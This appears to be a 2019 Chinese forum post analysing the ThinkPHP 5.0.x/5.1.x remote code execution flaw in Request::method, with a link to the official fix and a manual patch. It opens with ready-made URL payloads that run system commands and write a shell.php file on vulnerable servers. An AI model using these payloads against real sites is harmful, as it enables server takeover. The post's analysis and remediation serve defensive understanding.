扫一扫浏览

ThinkPHP 5.0.x与5.1.x远程命令执行漏洞利用详细分析

未结贴
0 903
鸿老大未认证 2019-01-21 14:08:05
收藏

针对<=5.0.23版本

命令执行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]
文件写入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

针对<=5.1.31版本

命令执行:?s=index/\think\Request/input&filter=system&data=[系统命令]
文件写入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

漏洞分析

漏洞主要出现在 ThinkPHPRequest 类的 method 方法中 (thinkphp/library/think/Request.php) Request 类可以实现对 HTTP 请求的一些设置,其中成员方法 method 用来获取当前请求类型,其定义如下:

当传入的参数为 false 的时候,会取配置项 var_method,其默认值为_method

$this->{$this->method}($_POST); 通过 post 参数_method 可以实现对当前类的任意方法进行调用。

通过调用当前类的构造方法可以覆盖任意成员属性的值:

这里通过覆盖 filter 属性,filter 属性保存了用于全局过滤的函数。

但是在 thinkphp5.0.23 中,会对 filter 值重新赋值为空,导致无法利用。

在App.php里有

在 thinkphp/library/think/App.php 中开启 debug 的时候会调用 Request 类的 param 方法。

在 thinkphp/library/think/Request.php param 方法中会调用到 method 方法, 并将参数设置为 true。

当参数为 true 的时候,会调用 server 方法

会走到 input 方法,通过之前方法覆盖 server 成员属性值为 array(),input 方法代码如下:

最终会调用 filterValue 形成任意代码执行:

因为,线上项目建议把debug给关掉

官方git修复代码:https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

手动修复

把下面的代码

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {

            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);

        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

改成

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {

            $method = strtoupper($_POST[Config::get('var_method')]);
            if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
                $this->method = $method;
                $this->{$this->method}($_POST);
            }

        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}
最近热帖 HOT TOPIC
父元素flex之后,子元素高度自适应问题 2768
thinkphp5隐藏默认模块的一些问题 2326
关于thinkphp5.0.x getshell漏洞的说明 2033
【全套视频】thinkphp5视频教程 1999
一张纸的厚度是0.01毫米,则该纸对折30次后是多厚(据说超过珠穆朗玛峰的高度)php实现 1925
教你如果处理高并发数据不同步的问题php篇 1904
PHP如何判断字符串是否为json格式 1878
移动web资源整理,你值得收藏的干货 1854
omnicore rpc api中文手册【usdt】 1797
tpframe新建主题 1723
月度热议HOT COMMENTS
tpframe 后续版本你希望有的功能是什么(分享贴) 12
关于tpframe的一点话题 6
cms插件在分类排序的时候JSON错误 6
基于tpframe v3.x 的微信公众号插件已批量上线 5
tpframe插件tcms插件v2.2已发布上线,欢迎下载使用 5
新增的管理员没有权限操作CMS模块。 3
api接口文档插件easydoc的基本用法,快速搞定接口文档 3
thinkphp5自动完成操作,两次运行的详解 2
thinkphp5隐藏默认模块的一些问题 2
tpframe-curd操作之添加数据 2